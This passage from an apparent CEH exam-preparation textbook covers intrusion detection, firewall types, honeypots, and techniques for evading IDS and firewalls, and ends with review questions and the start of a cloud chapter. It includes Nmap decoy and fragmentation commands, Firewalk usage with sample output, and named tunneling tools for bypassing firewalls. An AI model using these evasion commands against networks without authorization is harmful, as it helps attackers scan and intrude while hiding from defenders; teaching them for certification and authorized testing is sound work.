Although these problems may seem to bar the implementation of such systems or at least
cause some concern, this type of IDS is widely deployed.
Signature-based IDSs also have another potential drawback: The signature
files must be updated regularly. If a signature database is not updated regularly, false
negatives will start to occur with more regularity. This means that attacks that
should have been caught by the IDS have passed through undetected.
Anomaly Detection
Anomaly detection is different from signature detection in how it detects potential
attacks. In this system, any activity that doesn’t match something in the database is
considered an anomaly. Also, any deviation from the configured database is regarded as
an attack and triggers further action. Unlike the signature-based system, this type of
system must be set up to understand what normal activity on a network is so that it can
detect deviations from this baseline. If the system is not configured as to what constitutes
normal behavior on a network, false positives and negatives can easily become a problem.
It is not uncommon for anomaly-based systems to be installed initially in
a learning mode that allows them to observe how your specific network looks over a
period of time. Once a sufficient period of observation has passed and enough of a
profile of typical traffic has been established, you can switch the device into an active
mode, and it will act just like a normal IDS. During the learning mode it is not
unheard of to take baselines during peak and off-peak hours and when updates and
such are pushed out to the network in order to get a clear picture of activity.
Protocol Detection
The third type of detection used by IDSs is protocol anomaly detection. It is based on the
anomalies that are specific to a given protocol. To determine what anomalies are present,
the system uses known specifications for a protocol and then uses that as a model to
compare traffic against. Through use of this design, new attacks may be discovered.
This method can detect new attacks before normal anomaly detection or signature
detection can. The detection method relies on the use or misuse of the protocol and not
the rapidly changing attack method. Unlike the prior two methods, protocol anomaly
detection does not require that you download signature updates. Alarms in this type of
system are typically presented differently from others, and thus you should consult the
manufacturers’ guides because each may be different.
Signs of an Intrusion
So what type of activities are indications of a potential attack? What type of actions can an
IDS respond to? Let’s look at activities that may indicate an intrusion has occurred.
Intrusion prevention systems (IPSs) work very much like IDSs but with
the added capability of being able to either shut down an attack by blocking traffic or
lock down a system at the host level, thus thwarting the attack.
Host System Intrusions
What is an indicator of an attack on a host? A wide range of activities could be construed
as an attack:
File system anomalies such as unknown files, altered file attributes, and/or alteration
of files
New files or folders that appear without explanation or whose purpose cannot be
ascertained. New files may be a sign of items such as a rootkit or an attack that could
be spread across a network.
Presence of rogue suid or sgid on a Linux system
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Unknown or unexplained modifications to files
Unknown file extensions
Cryptic filenames
Double extensions such as filename.exe.exe
This is not an exhaustive list. As attackers evolve, so do the attacks that may be used
against a target.
Network Intrusions
Indications of a potential network attack or intrusion include the following:
Increased and unexplained use of network bandwidth
Probes or services on systems on the network
Connection requests from unknown IPs outside the local network
Repeated login attempts from remote hosts
Unknown or unexplained messages in log files
Nonspecific Signs of Intrusion
Other signs can appear that may indicate the presence of an intruder or potential
intrusion in progress:
Modifications to system software and configuration files
Missing logs or logs with incorrect permissions or ownership
System crashes or reboots
Gaps in the system accounting
Unfamiliar processes
Use of unknown logins
Logins during nonworking hours
Presence of new user accounts
Gaps in system audit files
Decrease in system performance
Unexplained system reboots or crashes
Keep in mind that you need to regularly check system logs for unknown or
unexplained behavior. However, as a result of some of the techniques you learned
earlier in this book, these contents can be altered or removed entirely. Always check
the system or environment completely before automatically assuming you have an
intrusion.
Firewalls
Firewalls are another protective device for networks that stand in the way of a penetration
tester or attacker. Firewalls represent a barrier or logical delineation between two zones
or areas of trust. In its simplest form an implementation of a firewall represents the
barrier between a private and a public network, but things can get much more
complicated from there, as you’ll see in this section.
For the most part we refer to firewalls as an abstract concept in this book,
but in real life a firewall can be either software or a hardware device. Where required
in this chapter, I’ll make the distinction between software- and hardware-based
firewalls.
When discussing firewalls, it is important to understand how they work and their
placement on a network. A firewall is a collection of programs and services located at the
choke point (the location where traffic enters and exits the network). It is designed to
filter all traffic flowing in and out and determine if that traffic should be allowed to
continue. In many cases the firewall is placed at a distance from important resources so
that in the case of compromise key resources are not adversely impacted. If you take
enough care and do proper planning along with a healthy dose of testing, only traffic that
is explicitly allowed to pass will be able to do so, with all other traffic dropped at the
firewall.
Firewalls can also be thought of as separating different zones of trust. This
means that if you have two different networks or areas that have differing levels of
trust placed on them, the firewall will act as the boundary between the two.
Here are some details about firewalls to be aware of:
Firewalls are a form of IDS since all traffic can be monitored and logged when it
crosses the firewall.
A firewall’s configuration is mandated by a company’s security policy and will change
to keep pace with the goals of the organization.
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Firewalls are typically configured to allow only specific kinds of traffic, such as with
email protocols, web protocols, or remote access protocols.
In some cases, a firewall may also act as a form of phone tap, allowing for the
identification of attempts to dial into the network.
A firewall uses rules that determine how traffic will be handled. Rules exist for traffic
entering and exiting the network, and it is possible for traffic going one way not to be
allowed to go the other way.
For traffic that passes the firewall, the device also acts as a router, helping guide traffic
flowing between networks.
Firewalls can filter traffic based on a multitude of criteria, including destination,
origin, protocol, content, or application.
In the event that traffic of a malicious nature tries to pass the firewall, a properly
configured alarm will alert a system administrator or other party as needed.
In many cases, a firewall works in conjunction with a router. The
motivation behind this layout is that placing a border gateway router in front of a
firewall can help reduce the load placed on it, allowing it to perform more efficiently.
It is also worth mentioning that an NIDS can also be installed alongside a firewall to
provide additional monitoring capabilities and identify how well the firewall is
functioning.
Firewall Configurations
Not all firewalls or firewall setups are created equally, so you need to be familiar with
each setup and how it works. Firewalls can be set up and arranged in several ways, each
offering its own advantages and disadvantages. In this section we’ll cover each method.
Bastion Host
A bastion host is intended to be the point through which traffic enters and exits the
network. It is a computer system that hosts nothing other than what it needs to perform
its defined role, which in this case is to protect resources from attack. This type of host
has two interfaces: one connected to the public network and the other to the internal
network.
Screened Subnet
This type of setup uses a single firewall with three built-in interfaces. The three interfaces
are connected to the Internet, the DMZ (more on this in a moment), and the intranet,
respectively. The obvious advantage of this setup is that the individual areas are separated
from one another by virtue of the fact that each is connected to its own interface. This
offers the advantage of preventing a compromise in one area from affecting one of the
other areas.
Multihomed Firewall
A multihomed firewall refers to two or more networks. Each interface is connected to its
own network segment logically and physically. A multihomed firewall is commonly used
to increase efficiency and reliability of an IP network. In this case, more than three
interfaces are present to allow for further subdividing the systems based on the specific
security objectives of the organization.
Demilitarized Zone
A DMZ is a buffer zone between the public and private networks in an organization. It is
used to act as not only a buffer zone but also a way to host services that a company wishes
to make publicly available without allowing direct access to their own internal network.
A DMZ is constructed through the use of a firewall. Three or more network interfaces are
assigned specific roles such as internal trusted network, DMZ network, and external
untrusted network (Internet).
Remember that each implementation is a little different in how it
functions. You should know the cast of characters involved in its layout.
Types of Firewalls
Not all firewalls are the same, and you must know the various types of firewall and be
able to understand how each works:
Packet-Filtering Firewall This is perhaps the simplest form of firewall. It works at the
Network level of the OSI model. Typically these firewalls are built directly into a router as
part of its standard feature set. This firewall compares the properties of a packet such as
source and destination address, protocol, and port. If a packet doesn’t match a defined
rule, it is dropped. If the packet matches a rule, it typically is allowed to pass.
Circuit-Level Gateway This is a more complex form of firewall that works at the
Session layer of the OSI model. A circuit-level firewall is able to detect whether a
requested session is valid by checking the TCP handshaking between the packets. Circuitlevel gateways do not filter individual packets.
Application-Level Firewall This firewall analyzes the application information to make
decisions about whether to transmit the packets.
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A proxy-based firewall asks for authentication to pass the packets because
it works at the Application layer. A content-caching proxy optimizes performance by
caching frequently accessed information instead of sending new requests for the
same data to the servers.
Stateful Multilayer Inspection Firewall This firewall combines the aspects of the
other three types. It filters packets at the Network layer to determine whether session
packets are legitimate, and it evaluates the contents of packets at the Application layer.
For the CEH exam, be sure you know the firewall types and what
distinguishes them from one another. Also be sure to know which layer of the OSI
model each operates at and why.
What’s That Firewall Running?
To determine a type of firewall and even a brand, you can use your experience with port
scanning and tools to build information about the firewall your target is running. By
identifying certain ports, you can link the results to a specific firewall and from that point
determine the type of attack or process to take in order to compromise or bypass the
device.
Some firewalls such as Check Point FireWall-1 and Microsoft Proxy Server
listen on ports TCP 256–259 and TCP 1080 and 1745.
Fortunately, you can perform banner grabbing with Telnet to identify the service running
on a port. If you encounter a firewall that has specific ports running, that may help in
identification. It is possible to banner grab and see what is reported back.
Firewalking
Another effective way to determine the configuration of a firewall is through firewalking.
Firewalking may sound like a painful process and test of courage, but it is actually the
process of probing a firewall to determine the configuration of ACLs by sending TCP and
UDP packets at the firewall. The key to making this successful is the fact that the packets
are set to have one more hop in their time to live (TTL) in order to get them past the
firewall or elicit a response stating otherwise.
To perform a firewalk against a firewall, you need three components:
Firewalking Host The system, outside the target network, from which the data packets
are sent to the destination host, in order to gain more information about the target
network
Gateway Host The system on the target network that is connected to the Internet,
through which the data packet passes on its way to the target network
Destination Host The target system on the network to which the data packets are
addressed
Using Firewalk
There are different ways to perform the process of firewalking using different tools, but
one that is popular is Firewalk for Linux. This utility is designed to make use of active
methods to ascertain which Layer 4 protocols will pass through a device. When executed,
Firewalk sends out numerous TCP and/or UDP packets with a TTL set to be one step
higher than the target. In practice this means that if a packet goes through the firewall, it
will expire at the next hop and the scanning system will receive an
ICMP_TIME_EXCEEDED message. However, for traffic that is blocked, no response will
be returned because the device will generally drop these packets completely.
The first step in making this process work is to determine the correct value for the TTL.
Since we need traffic to get past the firewall and to the next host, the TTL will be set to
the number of hops to get to the firewall plus one. Remember that when you are
determining the exact hop count, you are not looking to reach anything farther on in the
network, just the count to get one step past the firewall. Keep in mind that firewalking is
intended to analyze the firewall itself, and you will go after other targets later. Once you
have determined this using a utility such as traceroute, you can begin the actual scan.
If you are unsure of how TTL and hop counts work, you may want to go
back and review Chapter 2, “System Fundamentals,” and Chapter 4, “Footprinting,” to
brush up.
To illustrate, here are the results of running Firewalk against a target:
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through 217.41.132.201 using 217.41.132.161 as a metric.
Ramping Phase:
1 (TTL 1): expired [192.168.102.254]
2 (TTL 2): expired [212.38.177.41]
3 (TTL 3): expired [217.41.132.201]
Binding host reached.
Scan bound at 4 hops.
Scanning Phase:
port
port
port
port
port
port
Scan
21: A! open (port listen) [217.41.132.161]
22: A! open (port not listen) [217.41.132.161]
23: A! open (port listen) [217.41.132.161]
25: A! open (port not listen) [217.41.132.161]
53: A! open (port not listen) [217.41.132.161]
80: A! open (port not listen) [217.41.132.161]
completed successfully.
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In this example you can see that ports 21 and 23 are both open and something is listening
behind those ports. The other ports are just open and nothing is behind them based on
the results returned.
If you look up higher in the results, you’ll see the Ramping phase. In this step the
firewalking script is using traceroute to see how many hops it takes to get to the target.
Once this number is determined to be 3, Firewalk adds one hop to bring it to 4 and limits
or sets the bounds of the scan at 4 hops. By doing this the scanner can tell if packets got
to the point past the firewall or were stopped by the firewall.
Let’s take Firewalk for a drive and see how to use it in practice; see Exercise 17.1.
EXERCISE 17.1
Come Firewalk with Kali
In this exercise you will use Kali and the Firewalk script to target a firewall and try to
determine the configuration of the firewall in place. To complete this exercise you
will need to be running Kali and have a firewalled system on your network or have
permission to scan.
To use Firewalk, follow these steps:
1. At the Kali terminal window enter the following command:
firewalk –S1-1024 -i <interface> -n -pTCP <gateway IP> <target IP>
2. In this example –S states which ports to scan, -i is the network interface to scan
with, -n states no reverse name resolution, and -p says to use TCP for the scan.
The last two are the address of the gateway or firewall, and target IP is the point
behind the firewall. Populate these with the appropriate values for your
environment.
3. Press Enter.
The Firewalk script will now be running and will provide results after a few
moments.
After Firewalk completes take a look at the results and you should be able to get
an idea of how traffic is handled. You should see which ports are open as well as
which ones have something listening behind them or not.
One thing I haven’t mentioned in relation to firewalking is what you should do once you
find open ports. In practice, once an attacker finds open ports they could now focus on
those ports and configure their tools to get into the system through them. There is
another benefit to finding these open ports on the firewall. Ports that are open by design
of the system owner may not perform any sort of logging on traffic that passes through
them.
Using Nmap to Determine a Firewall’s Configuration
As we have seen time and time again, Nmap is capable of doing many things, and in this
case it can also perform firewalking. In practice, this means that the TTL value of packets
is configured to one step past the firewall. If the probe passes the firewall and hits the
next router, the TTL is decremented by 1 and an ICMP_TIME_EXCEEDED message is
returned.
It starts with a TTL equal to the distance to the target. If the probe times out, it is re-sent
with a TTL decreased by 1. If you get an ICMP_TIME_EXCEEDED, then the scan is over
for this probe, meaning that the port is closed.
To make this even more effective Nmap has a built-in script that will perform firewalking
for you. You can call this script and target a victim using the following syntax:
nmap --script=firewalk --traceroute <target ip-address>
In this example, --script= specifies the script to use. The next switch, --traceroute,
executes a traceroute to the target IP address in order to determine the bounds for the
firewalking process.
Mobile Devices and Firewalls
In the past firewalls protected networks as well as hosts on the network in the form of
personal firewalls, but now mobile devices have the same problems that hosts had in the
past. Thus we now have firewalls for mobile devices. The Google Play store, for example,
is filled with different quality firewalls, some that are free and some that cost. This is the
case for Apple’s devices as well.
For more information on mobile devices and the vulnerabilities as well as
defenses available, refer to Chapter 16, “Mobile Device Security.”
Honeypots
One of the more interesting systems you will encounter is a honeypot. A honeypot may
sound like something out of a Winnie the Pooh book, but it is actually a device or system
used to attract and trap attackers who are trying to gain access to a system. However,
honeypots are far from being just a booby trap; they have also been used as research
tools, as decoys, and just to gain information. They are not designed to address any
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specific security problem.
Honeypots don’t fit into any neat classification or category. Honeypots can fulfil a
number of different purposes or roles for an organization, but most agree that a honeypot
provides value from being used by unauthorized parties or through illicit use. Honeypots
are designed to be misused and abused and in that role they stand alone. In practice the
system can appear as any of the following:
A dedicated server
A simulated system of some type
A service on a host designed to look legitimate
A virtual server
A single file
In all these examples the honeypot is configured to look like a real item within the
environment, but it is anything but that. While a honeypot looks like a real resource and
may behave that way, it is never intended to be used for any legitimate purpose. If a
honeypot has any sort of actions in progress on it, then they are more than likely due to
some sort of unauthorized or accidental use that may even be malicious.
In some circles a honeypot is viewed as a decoy device, but this is also not entirely correct
and can be confusing. It is not unheard of for a honeypot to be described as something
you put in your DMZ with the goal of having someone break into it. In terms of research
this would be a valid and true statement to make, but it doesn’t hold up upon closer
inspection. The last thing you want as the owner of a network or the person in charge of
security is for someone to break into your environment, as would be the case of a decoy in
the DMZ. Since a DMZ would host systems like web servers, email gateways, or other
services, you would not want to draw an attacker’s attention in any way to these items.
This is not to say that some environments have not employed a honeypot
as a decoy, but it should not be deployed as the core strategy. A honeypot as a decoy
has been used to draw intruders away from critical resources, but this requires
careful planning to avoid problems.
Using a Honeypot in Practice
A honeypot is ideally suited to get a clearer picture of the activity on or around the critical
systems in your environment. The common use of honeypots is to look like a legitimate
resource so as to be indistinguishable from the real thing. This will subject both the
honeypot and the real resource to the same activity, meaning that attacks can be detected
more easily.
An example of a typical deployment of a honeypot would be one where we have a hightraffic web server. In this environment we would put the web server and a honeypot
configured identically in the DMZ. Since both are the same, the attacks both are exposed
to in the same location should also match. Any malware, probes, enumeration, or other
actions would immediately be detectable as a potential attack because the honeypot has
no legitimate use. This information gathered from the honeypot would allow for the
design and placement of better defenses.
High vs. Low Interaction
Honeypots are not all created equal. There are two main categories: high- and lowinteraction varieties.
Low-interaction honeypots rely on the emulation of service and programs that would
be found on a vulnerable system. If attacked, the system detects the activity and
throws an error that can be reviewed by an administrator.
High-interaction honeypots are more complex in that they are no longer a single
system that looks vulnerable but an entire network typically known as a honeynet.
Any activity that happens in this tightly controlled and monitored environment is
reported. One other difference in this setup is that in lieu of emulation, real systems
with real applications are present.
Honeypots can be easily explored and evaluated as something to consider for your
environment. Those available include KFSensor, HoneyBOT, and HoneyDrive, to name a
few.
Run Silent, Run Deep: Evasion Techniques
Each of the devices covered in this chapter is designed to stop or slow down an attack.
Since you, as a penetration tester, are trying to test a system, you must be able to get
around these devices if possible or at least know how to attempt to do so. In this section
we discuss the various mechanisms available, how they work, and what devices they are
designed to deal with.
Denial of Service vs. IDS
Another mechanism for getting around an IDS is to attack the IDS directly or exploit a
weakness in the system via a DoS attack. A DoS or DDoS attack overwhelms or disables a
target in such a way as to make it temporarily or permanently unavailable. Through the
consumption of vital system resources, the overall performance of the target is adversely
impacted, making it less able—or completely unable—to respond to legitimate traffic or at
least not function to the best of its ability.
If we target an IDS with a DoS attack, something interesting happens: The IDS functions
erratically or not at all. To understand this, think of what an IDS is doing and how many
resources it needs to do its job. An IDS is sniffing traffic and comparing that traffic to
rules, which takes a considerable amount of resources to perform. If these resources can
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be consumed by another event, then it can have the effect of changing the behavior of the
IDS. By using enumeration and system hacking methods it is possible for an attacker to
identify which resources are under load or are vital to the proper functioning of the IDS.
Once those resources are identified, the attacker can clog up or consume the resources to
make the IDS not function properly or become occupied by useless traffic.
Attacks such as the ping of death, teardrop attacks, SYN floods, Smurf Attacks, and
Fraggle Attacks can be used to perform a DoS against an NIDS.
Insertion
An insertion attack is an effective method of defying detection by an IDS. In practice the
insertion attack relies on knowledge of how the system works and how it will react to
packets on the network. Essentially, the insertion attack relies on the fact that an IDS can
accept packets that the actual intended recipient would otherwise accept. If an IDS does
accept a packet that the end system rejected, then it can be fooled into believing that the
end system did accept the packet as well. An attacker can take advantage of this situation
by sending packets to an end system that the IDS accepts. Because of the way an IDS
works, by sniffing all traffic and comparing it to what knowledge it has in order to detect
attacks, it will accept all traffic. Since it will accept all packets that other systems won’t, it
is possible to overwhelm or defeat it and get an attack past the IDS.
In practice, an insertion attack is effective against IDSs that use signature analysis to
identify malicious activity.
Another way to carry out this attack is to tamper with the header of a packet. Adjusting
values such as TTL, the flags, size, or other information can cause a packet to get rejected
by an end system but not by the IDS.
Obfuscating
Because an IDS relies on being able to observe or read information, the process of
obscuring or obfuscating code can be an effective evasion technique. This technique relies
on manipulating information in such a way that the IDS cannot comprehend or
understand it but the target can. You can accomplish this via manual manipulation of
code or through the use of an obfuscator. One example that has been successful against
older IDSs is the use of Unicode. By changing standard code such as HTTP requests and
responses to their Unicode equivalents, you can produce code that the web server
understands but the IDS may not.
Want to cover up your scanning activities by placing entries in the firewalls’ logs? Easy—
just use Nmap to make the firewalls believe that the scan is coming from different
locations. Nmap has the ability (through the –D switch) to generate decoys, meaning that
detection of the actual scanning system becomes much more difficult:
nmap -D RND:10 <target ip> (Generates a random number of decoys)
Crying Wolf
Remember the story from your childhood of the boy who cried wolf? The shepherd boy in
the story cried wolf so many times as a joke that when the wolf was actually attacking his
flock, no one believed him and his flock got eaten. The moral of the story is that liars are
rewarded with disbelief from others even when they tell the truth. How does this apply to
our IDS discussion? Essentially the same way as the boy in the story: An attacker can
target the IDS with an actual attack, causing it to react to the activity and alert the system
owner. If done repeatedly, the owner of the system will see log files full of information
that says an attack is happening, but no other evidence suggests the same. Eventually the
system owner may start to ignore these warnings, or what they perceive to be false
positives, and become lax in their observations. Thus an attacker can strike at their actual
target in plain sight.
Session Splicing
The type of evasion technique known as session splicing is an IDS evasion technique that
exploits the fact that some types of IDSs don’t reassemble or rebuild sessions before
analyzing traffic. In addition, it is possible to fool some systems by fragmenting packets
or tampering with the transmission of packets in such a way that the IDS cannot analyze
them and instead forwards them to the target host.
Tampering with the fragmentation of a packet can be a tremendously
effective way of evading an IDS. An example would be to adjust the fragments such
that when they are reassembled they overlap, causing problems for the IDS, which
again may result in the fragments being forwarded to the intended target.
Fun with Flags
The Transmission Control Protocol uses flags on packets to describe the status of the
packet. Knowledge of these flags can yield benefits such as evasion techniques for IDSs.
Bogus RST
RST is one of the many flags used to end two-way communications between endpoints. In
addition to these flags, checksums are used to verify the integrity of the packet to ensure
that what was received is what was sent originally. An attacker can use alteration of this
checksum to cause the IDS to not process the packet. What happens with some IDSs is
that upon receipt of an invalid checksum, processing stops and the traffic passes
unimpeded by the IDS without raising an alert.
Sense of Urgency
The URG flag is used to mark data as being urgent in nature. Packets flagged with the
URG bit set are processed immediately by “jumping” to the front of the “line” ahead of
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other packets. Some IDSs do not take this previous data into account and let it pass
unimpeded, letting an attack potentially pass without hindrance.
Encryption
Some IDSs cannot process encrypted traffic and therefore will let it pass. Of all the
evasion techniques, encryption is one of the most effective.
Evading Firewalls
Earlier you learned what a firewall is capable of doing and the different types that exist.
So how does an attacker evade these devices? A handful of techniques are available.
IP Address Spoofing
One effective way an attacker can evade a firewall is to appear as something else, such as
a trusted host. Using spoofing to modify address information, the attacker can make the
source of an attack appear to come from someplace other than the malicious party.
While this attack can be effective, there are some limitations that may thwart this
process. The more obvious one is the fact that firewalls will more than likely drop traffic
that would fit the definition here. Specifically, a trusted host may be something inside
the network itself. Any sort of specially crafted packet from an IP address range on the
local network but coming from outside the network will get dropped as invalid.
Source Routing
Using this technique, the sender of the packet designates the route that a packet should
take through the network in such a way that the designated route should bypass the
firewall node. Using this technique, the attacker can evade the firewall restrictions.
Through the use of source routing, it is entirely possible for the attacker or sender of a
packet to specify the route they want it to take instead of leaving such choices up to the
normal routing process. In this process the origin or source of a packet is assumed to
have all the information it needs about the layout of a network and can therefore specify
its own best path for getting to its destination.
By employing source routing, an attacker may be able to reach a system that would not
normally be reachable. These systems could include those with private IP addresses or
those that are protected under normal conditions from the Internet. The attacker may
even be able to perform IP spoofing, further complicating detection and tracing of the
attack by making the packet’s origin unknown or different from its actual origin.
Fortunately, the easiest way to prevent source routing is to configure routers to ignore
any source routing attempts on the privately controlled network.
Fragmentation
The attacker uses the IP fragmentation technique to create extremely small fragments
and force the TCP header information into the next fragment. This may result in a case
where the TCP flags field is forced into the second fragment, while filters can check these
flags only in the first octet. Thus, the IDS ignores the TCP flags.
To cause fragmentation of traffic in Nmap you could use the following command:
Nmap –sS –sV –f <ip address or hostname of target>
Note that the –f instructs Nmap to break the scan being performed here into 8-byte
fragments, which may be able to pass by defensive measures between the scanner and the
target.
Two forms of fragmentation can be used to defeat an IDS, which are issues relating to
reassembly and overlapping fragments.
In the first case, reassembly of fragments is exploited by an attacker fragmenting traffic
intentionally. Under normal conditions the fragments are received by the intended host,
and because each fragment is numbered, the host knows how to reassemble them.
However, to fool an IDS an attacker can exploit a weakness in some IDSs by sending the
packets out of order, which some IDSs cannot deal with. It is also possible to fragment
traffic, but by only sending some of the fragments, the IDS must buffer the fragments
until the last bit arrives. The problem here is that they never arrive and the IDS will store
them in memory while it waits. If an attacker does this with enough traffic, memory will
be used up on the IDS.
In the case of overlapping fragments, the IDS is forced to deal with fragments that won’t
reassemble the right way. This means that the fragments may overlap or not otherwise fit
together, so the IDS will fail when trying to deal with them.
IP Addresses to Access Websites
A mechanism that is effective in some cases at evading or bypassing a firewall is the use
of an IP address in place of a URL. Since some firewalls look only at URLs instead of the
actual IP addresses, using the address to access a website can allow an attacker to bypass
the device.
Mechanisms such as host2ip can convert a URL to an IP address,
potentially allowing this address to be used in a browser to bypass the firewall.
Other mechanisms that are somewhat similar to this technique are using website
anonymizers and open public proxy servers to get around the firewalls or website
restrictions of a company.
ICMP Tunneling
Yet another method to bypass or evade a firewall is through the use of ICMP tunneling.
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ICMP can be used to bypass a firewall through a little-known part of the RFC 792
specification (responsible for defining the operation of ICMP). ICMP defines the format
and structure of the packet but not what the packet carries as part of its data portion. Due
to this ambiguous definition of the data portion, the contents can be completely arbitrary,
thus allowing a diverse range of items to be included within the data section. This section
can include information regarding applications that can open a covert channel or plant
malware. The result can be that an organization’s firewalls are opened.
One tool that is effective at performing this type of task is Loki, which has the ability to
tunnel commands within an ICMP echo packet. Other similar tools are NCovert and
007shell, both of which allow crafting of packets that can be used to bypass a firewall.
ACK Tunneling
Pursuing a variation of a theme, you can also use ACK tunneling to bypass the scrutiny of
a firewall. ACK tunneling exploits the fact that some firewalls do not check packets that
have the ACK bit configured. The reason for this lapse is that the ACK packet is used to
respond to previous, and assumed legitimate, traffic that has already been approved.
An attacker can leverage this flaw by sending packets with the ACK flag set using a tool
such as AckCmd.
HTTP Tunneling
An additional variation of the tunneling method involves exploiting HTTP. This method
may be one of the easiest ones to use mainly because the protocol is already allowed
through many firewalls as part of normal operations. HTTP traffic is considered normal
because just about every company needs to have Internet access or provide public access
to resources such as web servers and web applications.
One tool that may be used to exploit this situation is HTTPTunnel, which uses a clientserver architecture to facilitate its operation.
Testing a Firewall and IDS
With so many techniques and mechanisms at your disposal, you can now test your
defensive and monitoring capabilities.
Overview of Testing a Firewall
The following are the general steps for testing the integrity and capability of a firewall,
whether it is based on hardware or software:
1. Footprint the target.
2. Perform port scanning.
3. Perform banner grabbing against open ports.
4. Attempt firewalking.
5. Disable trusted hosts.
6. Perform IP address spoofing.
7. Perform source routing.
8. Substitute an IP address for a URL.
9. Perform a fragmentation attack.
10. Use an anonymizer.
11. Make use of a proxy server to bypass a firewall.
12. Use ICMP tunneling.
13. Use ACK tunneling.
Overview of Testing an IDS
Much like testing a firewall, there is a general process for testing an IDS. It tends to be
something like the following:
1. Disable trusted hosts.
2. Attempt an insertion attack.
3. Implement evasion techniques.
4. Perform a DoS.
5. Use code obfuscation.
6. Perform a false-positive generation technique.
7. Attempt a Unicode attack.
8. Perform a fragmentation attack.
It is important to remember that not every attack will work when testing a firewall or IDS,
but you should still log the results and make note of the way the devices respond. When
testing is complete, compare and analyze the results to see if you can determine any
patterns or behavior that may indicate the nature of the environment or vulnerabilities
present.
Summary
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In this chapter we looked at firewalls, IDSs, and honeypots as mechanisms used to defend
a network as well as something to evade as an attacker. You saw that the problem is that
whereas many attacks are effective at getting information, they can be thwarted by using
any of the systems we have covered. Today’s networks and environments employ a range
of defensive and detective measures designed to deal with such attacks.
Corporations now routinely use many defensive measures, each with its own way of
putting a stop to attacks. Intrusion detection systems, intrusion prevention systems,
firewalls, honeypots, and other such systems are potent adversaries and obstacles to your
activities. Although these devices are formidable, they are not insurmountable, so you
must learn how they work and then see what you can do to overcome the obstacles or just
get around them altogether.
Exam Essentials
Understand the different types of firewalls. Know that not all firewalls are the same
and that each operates a little differently. For example, packet filtering firewalls work at
the network level and are commonly embedded in routers, whereas stateful firewalls are
devices unto themselves.
Know the differences between HIDSs and NIDSs. Understand that an HIDS and an
NIDS are not the same and do not monitor the same type of activity. An NIDS monitors
traffic on a network but diminishes in effectiveness where a host is concerned. An HIDS
has diminished capability outside a specific host.
Understand the role of a honeypot. A honeypot is a tool used to attract an attacker
for the purpose of research, to act as a decoy, or to gain intelligence as to what types of
attacks you may be facing and how well your defenses are working.
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Review Questions
1. An HIDS is used to monitor activity on which of the following?
A. Network
B. Application
C. Log file
D. Host
2. Which of the following can be used to identify a firewall?
A. Search engines
B. Email
C. Port scanning
D. Google hacking
3. An NIDS is based on technology similar to which of the following?
A. Packet sniffing
B. Privilege escalation
C. Enumeration
D. Backdoor
4. Which of the following can be used to evade an IDS?
A. Packet sniffing
B. Port scanning
C. Enumeration
D. Encryption
5. Altering a checksum of a packet can be used to do what?
A. Send an RST.
B. Send a URG.
C. Reset a connection.
D. Evade an NIDS.
6. Firewalking is done to accomplish which of the following?
A. Find the configuration of an NIDS.
B. Find the configuration of an HIDS.
C. Uncover a honeypot.
D. Analyze a firewall.
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7. A method for overwhelming an IDS using packets with incorrect TTL values or flags is
known as what?
A. Session splicing
B. Insertion
C. Fragmenting
D. ACK scanning
8. How does a fragmentation attack, which takes a packet, breaks it into fragments, and
sends only some of the fragments to the target, cause a DoS?
A. By consuming processor power on the IDS
B. By overwhelming the IDS with too many fragments
C. By exhausting memory by caching the fragments
D. By filling virtual memory with too much data
9. Which of the following uses a database of known attacks?
A. Signature file
B. Anomaly
C. Behavior
D. Shellcode
10. An anomaly-based NIDS is designed to look for what?
A. Patterns of known attacks
B. Deviations from known traffic patterns
C. Log alterations
D. False positives
11. Multihomed firewall has a minimum of how many network connections?
A. Two
B. Three
C. Four
D. Five
12. A DMZ is created with which of the following?
A. A firewall and a router
B. A multihomed firewall
C. Two routers
D. A multihomed router
13. A firewall is used to separate which of the following?
A. Networks
B. Hosts
C. Permissions
D. ACL
14. In practice a honeypot will be configured how?
A. As an unpatched system
B. As a decoy server
C. As a duplicate of a real system
D. As an analysis tool
15. Which ports does SNMP use to function?
A. 160 and 161
B. 160 and 162
C. 389 and 160
D. 161 and 162
16. HTTP is typically open on which port in a firewall?
A. 25
B. 443
C. 80
D. 110
17. What is a system used as a chokepoint for traffic?
A. IDS
B. DMZ
C. Bastion host
D. SNMP host
18. At which layer of the OSI model does a packet-filtering firewall work?
A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 4
19. What type of firewall analyzes the status of traffic?
A. Circuit level
B. Packet filtering
C. Stateful inspection
D. NIDS
20. What can be used instead of a URL to evade some firewalls?
A. IP address
B. Encryption
C. Stateful inspection
D. NIDS
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Chapter 18
Cloud Technologies and Security
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CEH EXAM TOPICS COVERED IN THIS CHAPTER:
III. Security
E. Network security
P. Vulnerabilities
What is the cloud? Where is the cloud? Are we in the cloud now?
These are all questions you’ve probably heard or even asked yourself. The term cloud
computing is everywhere.
In the simplest terms, cloud computing means storing and accessing data and programs
over the Internet instead of locally. The cloud is just a metaphor for a service or storage
where the exact underlying mechanics aren’t required to be known or just don’t matter.
Rather, the functionality provided is the important part of the equation.
The cloud is different than network attached storage or other types of servers—much
different. Storing content on a home storage device or enterprise storage device is not the
same as having or utilizing the cloud. In fact, the cloud is much different from other
storage methods of the past and counts as a new way of delivering services or providing
storage or simply as a development platform. The cloud is not as simple as some
companies would have you believe, with one company even naming their technology “My
Cloud” just to make things more confusing.
What Is the Cloud?
While cloud computing is a new term, it is not a new concept and is actually a grown-up
and more mature version of what used to be known as grid computing. No matter what
you call it, the cloud is a way of moving services, infrastructure, and platforms into the
new environment. Ideally, this move makes the growth and management of software and
other technology easier and more cost effective than before.
The concept of the cloud has been evolving over the last three decades
with many different ideas and developments converging to make the cloud what we
understand it today. Of course, what initially was looked at as a way of pooling
resources and providing storage has become much more than that over the last
several years.
So what is the cloud exactly, and how can we define it in a way that makes sense? In
general, we can break down the list of characteristics of a cloud computing solution into
something quite simple and succinct:
On-Demand Self-Service Users of cloud services have the capability to tweak,
customize, and configure services as needed to meet their needs both now and in the
future.
Broad Network Access Resources can be accessed from any device anywhere with any
connection. The cloud is designed to be accessed from anywhere.
Resource Pooling The provider’s computing resources are pooled to serve multiple
consumers using a multi-tenant model, with different physical and virtual resources
dynamically assigned and reassigned according to consumer demand.
Rapid Elasticity Capabilities within the cloud have the ability to be expanded and
adjusted to add more performance, space, or capability to the system, allowing the user to
grow as needed without having to worry about the process. In fact, to them it may seem
like they have unlimited space and resources.
